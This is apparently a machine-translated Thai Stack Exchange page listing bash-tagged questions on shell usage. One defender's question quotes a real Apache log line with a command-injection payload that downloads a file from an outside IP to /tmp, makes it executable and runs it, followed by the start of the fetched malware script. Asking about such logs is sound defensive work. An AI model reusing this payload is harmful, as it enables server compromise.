คำถามติดแท็ก bash

Bash เป็นเชลล์ฟรีสำหรับระบบปฏิบัติการยูนิกซ์จากโครงการ GNU

6
มีกี่คอร์ที่ฉันใช้บนเซิร์ฟเวอร์ Linux
ฉันแค่สงสัยว่าฉันจะรู้ได้อย่างไรว่าทุบตีจำนวนคอร์ CPU ที่ผู้ใช้ใช้บน Linux Server ตอนนี้? ฉันกำลังส่งงานแบ็คกราวน์จำนวนพอสมควรไปยังเซิร์ฟเวอร์ดังนั้นฉันต้องการเขียนสคริปต์ทุบตีเพื่อตรวจสอบก่อนที่ฉันจะส่งงานถ้างานที่กำลังดำเนินการ (กระบวนการ) ส่งโดยฉันมากเกินไปเพราะฉันต้องให้ ผู้ใช้มีแกนเพียงพอที่จะใช้สำหรับงานของพวกเขา ฉันต้องการทราบว่าคำสั่ง bash สามารถบอกได้ว่ามีกี่คอร์ที่งานของฉันใช้อยู่ตอนนี้ ขอบคุณและขอแสดงความนับถือ!
30 linux  bash  cpu  core 

2
สคริปต์ทุบตีนี้ทำอะไร? [พยายามแฮ็ก]
ฉันสังเกตเห็นเซิร์ฟเวอร์ของ apache บันทึกเมื่อไม่นานมานี้มีสายแปลก ๆ ดังต่อไปนี้: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" ดังนั้นฉันจึงสร้างตัวกรอง Fail2Ban ที่กำหนดเองและเริ่มแบนไอพีที่ร้องขอ URL /login.cgi เหล่านี้ แต่ฉันอยากรู้ว่าพวกเขาพยายามทำอะไรดังนั้นฉันจึงดึงสคริปต์ที่พวกเขาพยายามจะดำเนินการและฉันไม่สามารถเข้าใจได้ว่ามันทำอะไร มีบางอย่างเกี่ยวกับการลบโฟลเดอร์ arch ใน / var และ / tmp ใช่ไหม อย่างไรก็ตามนี่คือ: #!/bin/sh u="asgknskjdgn" bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32" http_server="80.211.173.159" http_port=80 cd /tmp/||cd /var/ for name …


3
คำสั่ง 'dot space filename' กำลังทำอะไรในการทุบตี?
เมื่อใช้ bash shell บางครั้งฉันเก็บตัวแปรสภาพแวดล้อมไว้ในไฟล์ข้อความที่ฉันคัดลอก / วางเนื้อหาของเช่น export.txt: export FOO=bar export FIZZ=buzz มีคนแสดงฉันแทนการคัดลอก / วางฉันสามารถพิมพ์ในเทอร์มินัล . exports.txt ซึ่งจะมีผลเช่นเดียวกับการคัดลอก / วาง กลไกในการใช้คำสั่ง 'ชื่อไฟล์ dot space' คืออะไร มันยากที่จะนึกถึงคำค้นหา ฉันต้องการที่จะเข้าใจว่าเกิดอะไรขึ้นและรายละเอียดทั่วไปของสิ่งที่ซับไลน์นี้กำลังทำอยู่
30 bash  export 

4
ข้อผิดพลาดร้ายแรงที่ Cygwin ไม่สามารถทำการแมปใหม่ได้หมายความว่าอะไร
เมื่อทำงานpythonใน cygwin ฉันได้รับข้อผิดพลาดต่อไปนี้: 0 [main] python 6140 C:\cygwin\bin\python.exe: *** fatal error - unable to remap \\?\C:\cygwin\lib\python2.6\lib-dynload\time.dll to same address as parent: 0x2B0000 != 0x360000 Stack trace: Frame Function Args 00288E68 6102749B (00288E68, 00000000, 00000000, 00000000) 00289158 6102749B (61177B80, 00008000, 00000000, 61179977) 0028A188 61004AFB (611A136C, 6124112C, 002B0000, 00360000) End of stack …
30 windows-7  bash  cygwin 

3
อะไรคือความแตกต่างระหว่าง &> และ> และในการทุบตี?
อะไรคือความแตกต่างระหว่าง&>และ>&ทุบตี? tldpไม่ได้พูดถึงหนึ่งหลัง มันเป็นตัวดำเนินการเปลี่ยนเส้นทางหรือไม่ หรือใครบางคนรู้กวดวิชาที่สมบูรณ์มากขึ้น?

3
แยก / บันทึกไฟล์แนบเมลโดยใช้ bash
การใช้bashเครื่องมือปกติ(เช่นเครื่องมือบรรทัดคำสั่งในตัวหรือทั่วไปที่มีอยู่) ก็คือ เป็นไปได้และ อย่างไร แยก / บันทึกไฟล์แนบในอีเมลได้อย่างไร ตัวอย่างเช่นสมมติว่าฉันมีรายงานทุกคืนที่มาถึงทางอีเมล แต่เป็นไฟล์เก็บถาวรของไฟล์บันทึกหลายไฟล์ ฉันต้องการบันทึกรหัสไปรษณีย์เหล่านั้นทั้งหมดลงในไดเรกทอรีสำรอง ฉันจะทำให้สำเร็จได้อย่างไร

5
Bash / ZSH: การเลิกทำ 'ปฏิเสธ'
มีวิธีการ 'ติดตั้งใหม่' กระบวนการไปยังตารางงานเชลล์หลังจากที่มันถูก 'ปฏิเสธ' หรือไม่? แก้ไข: $ SEARCHENGINE ทำให้ฉันทั้งหมดล้มเหลว ดูไม่ดีเกินไป
30 bash  shell  zsh 

7
จะอัพโหลดไฟล์จากบรรทัดคำสั่งด้วย FTP หรือ SSH ได้อย่างไร?
ฉันไม่เคยทำสิ่งนี้มาก่อนและฉันกำลังสร้างสคริปต์ bash shell เพื่อทำสิ่งนี้ให้ฉัน ฉันจะเชื่อมต่อผ่าน ssh เพื่อทำบางสิ่ง (ซึ่งฉันรู้วิธีการแล้ว) ดังนั้นอาจมีวิธีอัปโหลดไฟล์ผ่าน ssh เพื่อให้ฉันสามารถทำได้ทั้งหมดในการเชื่อมต่อเดียว? ฉันจะทำสิ่งนี้ได้อย่างไร #!/bin/sh cd ./files-to-upload #upload the files
30 command-line  bash  ssh  ftp 

4
ส่งข้อความไปยังโปรแกรมโดยหวังว่าไฟล์
เกี่ยวข้องกับคำถามที่ฉันถามใน Stack Overflow: การส่งรหัสหลายบรรทัดไปที่ wsadmin.sh หรือไม่ . ฉันมีสายป้อนข้อมูลสองสามบรรทัดที่ฉันต้องป้อนลงในคำสั่ง อย่างไรก็ตามคำสั่งยอมรับเฉพาะไฟล์ที่เต็มไปด้วยอินพุต มีวิธีใดบ้างที่ฉันสามารถจัดเก็บบรรทัดในไฟล์ชั่วคราวหรือไพพ์ซึ่งไม่เคยเขียนลงดิสก์จริงแล้วป้อนฟีดลงในโปรแกรมโดยตรง ฉันจะไปเกี่ยวกับการรับไปป์, ป้อนข้อมูลเข้าไป, ผ่านไปป์นั้นไปยังคำสั่ง, แล้วกำจัดไพพ์?

6
บรรทัดคำสั่งของ Mac เปรียบเทียบกับ Linux อย่างไร
ฉันรัก Ubuntu Linux - โดยเฉพาะอย่างยิ่งในบรรทัดคำสั่ง แต่ฉันต้องยอมรับว่าอย่างน้อยตอนนี้ Windows เป็นมิตรกับผู้ใช้มากกว่า - มีซอฟต์แวร์มากขึ้นสำหรับมันไดรเวอร์มากขึ้นและสิ่งอื่น ๆ ใช้งานได้เพียงอย่างเดียว การรู้ว่า Mac สร้างขึ้นบน Unix ทำให้ฉันสงสัยว่ามันเป็นจุดที่น่าสนใจระหว่างพวกเขาหรือไม่ แต่ฉันสงสัยว่า: บรรทัดคำสั่ง Mac คล้ายกับทุบตีของ Linuxอย่างไร ฉันสามารถเลือกใช้ vim และ bash scripting และ git ได้หรือไม่? คำสั่งทั่วไปเช่นการเปลี่ยนไดเรกทอรีจะแตกต่างกันหรือไม่? ไม่มีใครรู้ว่าทรัพยากร "เปรียบเทียบและเปรียบเทียบ" แบบออนไลน์หรือไม่

5
วิธี SSH เป็น WSL
ผู้อ่านเป็นเวลานานผู้ถามคำถามเป็นครั้งแรก ฉันทำตามคำแนะนำในคำตอบนี้: ฉันจะ SSH เป็น“ Bash บน Ubuntu บน Windows 10” ได้อย่างไร? ฉันพยายามที่จะ SSH จาก PuTTY ใน Windows บนเครื่องเดียวกัน ใช้พอร์ต 22 ซึ่งตรงกับไฟล์ปรับแต่งของฉัน พยายามทั้ง 127.0.0.1 และ 127.0.1.1 อย่างไรก็ตามฉันยังคงได้รับ "การเข้าถึงถูกปฏิเสธ": ในที่สุดฉันก็หวังที่จะตั้งค่าการสร้างระยะไกลของ Visual Studio แต่ฉันก็ยังไม่สามารถเข้าถึงจากระยะไกลได้ทั้งหมด ฉันควรทำขั้นตอนต่อไปอย่างไร Process Hacker แสดงสิ่งนี้สำหรับพอร์ต 22 (ไม่แน่ใจว่าสิ่งนี้หมายถึงอะไร): นี่คือเนื้อหาของ / etc / ssh / sshd_config: # Package generated configuration file …

4
UTF8 ตัวอักษรใน terminal bash ของ windows 10
ฉันได้ติดตั้ง bash shell ใหม่บน windows 10 ฉันใช้มันร่วมกับ ZSH อย่างไรก็ตามไม่มีอักขระ utf8 ที่ใช้งานได้ปรากฏเป็นบล็อกสี่เหลี่ยม ฉันจะเปิดใช้งานการเข้ารหัสอักขระ utf8 ในเชลล์เป็นค่าเริ่มต้นได้อย่างไร เป็นไปได้ไหม

11
ป้องกันผู้ใช้พิมพ์ช่องว่างโดยไม่ได้ตั้งใจระหว่าง rm และ wildcard
ความตั้งใจที่: rm -rf string* ปัญหา: rm -rf string * กรณีแรกคือการใช้ rm ที่ถูกต้องและเป็นเรื่องธรรมดาการพิมพ์ผิดขนาดเล็กอาจทำให้เกิดปัญหามากมายในกรณีที่สอง มีวิธีง่าย ๆ ในการป้องกันรอยต่อที่ไม่ตั้งใจหรือสัญลักษณ์ตัวแทนชั้นนำหรือไม่?
29 linux  bash  rm 

7
ข้อผิดพลาด "ไม่มีไฟล์หรือไดเรกทอรีดังกล่าว" ในไฟล์ทุบตี แต่มีไฟล์อยู่หรือไม่
ใน Ubuntu ฉันได้รับข้อผิดพลาด 'ไม่มีไฟล์หรือไดเรกทอรีดังกล่าว' เมื่อฉันพยายามเรียกใช้คำสั่ง ฉันตรวจสอบls -laแล้วไฟล์ adbอยู่ที่นั่นและมีเครื่องหมาย 'x' ดังนั้นทำไมฉันถึงได้รับ 'ไม่มีไฟล์หรือไดเรกทอรีดังกล่าว' ~/Programs/android-sdk-linux_x86/platform-tools$ ./adb bash: ./adb: No such file or directory ~/Programs/android-sdk-linux_x86/platform-tools$ ls -la total 34120 drwxrwxr-x 3 silverstri silverstri 4096 2011-10-08 18:50 . drwxrwxr-x 8 silverstri silverstri 4096 2011-10-08 18:51 .. -rwxrwxr-x 1 silverstri silverstri 3764858 2011-10-08 18:50 aapt -rwxrwxr-x …
29 ubuntu  bash  android 

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.